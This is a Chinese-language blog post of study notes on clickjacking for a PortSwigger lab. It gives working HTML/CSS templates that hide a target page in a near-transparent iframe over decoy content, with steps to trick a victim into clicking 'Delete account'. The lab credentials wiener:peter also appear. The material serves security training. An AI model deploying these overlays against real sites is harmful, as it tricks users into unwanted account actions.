BP - 點選劫持 Clickjacking (UI redressing)

sec875發表於2024-10-02

What is clickjacking?

點選劫持是一種基於介面的攻擊,透過點選誘餌網站中的其他內容,誘騙使用者點選隱藏網站上的可操作內容。

iframe

基於會話的 CSRF 令牌無法緩解點選劫持攻擊,因為目標會話是透過從真實網站載入的內容建立的,並且所有請求都在域內發生。CSRF 令牌被放入請求中,並作為正常會話的一部分傳遞給伺服器。與普通使用者會話相比,不同之處在於該過程發生在隱藏的 iframe 中。

如何構建基本的點選劫持攻擊

CSS:<style> z-index覆蓋順序 opacity不透明度;
iframe
瀏覽器透明閾值檢測(opacity是否不為0或者小於0.1等):瀏覽器點選劫持保護可能會應用基於閾值的 iframe 透明度檢測(例如,Chrome 版本 76 包含此行為,但 Firefox 不包含)。攻擊者選擇不透明度值,以便在不觸發保護行為的情況下實現所需效果。

  • 透明實驗的程式碼
<head>
	<style>
		#target_website {
			position:relative;
			width:128px;
			height:128px;
			opacity:0.00001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	...decoy web content here...
	</div>
	<iframe id="target_website" src="https://vulnerable-website.com">
	</iframe>
</body>

Lab: Basic clickjacking with CSRF token protection 基於 CSRF 令牌保護的基本點選劫持

如果這個實驗在有參考資料(基於王垠的心法,儘量不要找沒有參考的目標且沒有教育價值的東西)都無法看懂,說明兩點:1.英語閱讀極其垃圾;2.基礎差到趨近於0。你要好好反思自己的基礎,及時彌補還來得及(最好是穿越到古代,其次是當下)。

至於介詞不介詞的語法不重要,目的是看懂整句話表達的什麼意思。作用於 Basic clickjacking上面: with CSRF token protection

此實驗包含登入功能和受 CSRF 令牌保護的刪除帳戶按鈕。使用者將點選誘餌網站上顯示“點選”字樣的元素。
要解決此實驗,請編寫一些 HTML 來構建帳戶頁面並欺騙使用者刪除其帳戶。刪除帳戶後,此實驗即告解決。
您可以使用以下憑據登入自己的帳戶:wiener:peter

登入目標網站上的帳戶。
轉到漏洞利用伺服器並將以下 HTML 模板貼上到 Body 部分:

<style>
    iframe {
        position:relative;
        width:$width_value;
        height: $height_value;
        opacity: $opacity;
        z-index: 2;
    }
    div {
        position:absolute;
        top:$top_value;
        left:$side_value;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>

對模板進行以下調整:
將 iframe src 屬性中的 YOUR-LAB-ID 替換為您的唯一實驗室 ID。
將 iframe 的 $height_value 和 $width_value 變數替換為合適的畫素值(我們建議分別為 700px 和 500px)。
將誘餌網頁內容的 $top_value 和 $side_value 變數替換為合適的畫素值,以便“刪除帳戶”按鈕和“測試我”誘餌操作對齊(我們建議分別為 300px 和 60px)。
設定不透明度值 $opacity 以確保目標 iframe 是透明的。最初,使用 0.1 的不透明度,以便您可以對齊 iframe 操作並根據需要調整位置值。對於提交的攻擊,0.0001 的值將起作用。
單擊“儲存”,然後單擊“檢視漏洞利用”。
將滑鼠懸停在“測試我”上,確保游標變為手形,表示 div 元素的位置正確。請勿親自單擊“刪除帳戶”按鈕。如果這樣做,實驗室將被破壞,您需要等到它重置後才能重試(大約 20 分鐘)。如果 div 排列不正確,請調整樣式表的頂部和左側屬性。
將 div 元素正確排列後,將“測試我”更改為“Click me 單擊我”,然後單擊“儲存”。
單擊“將漏洞利用傳遞給受害者”,實驗室應該就解決了。

效果
image

基於會話的 CSRF 令牌無法緩解點選劫持攻擊:下圖所示
image

相關文章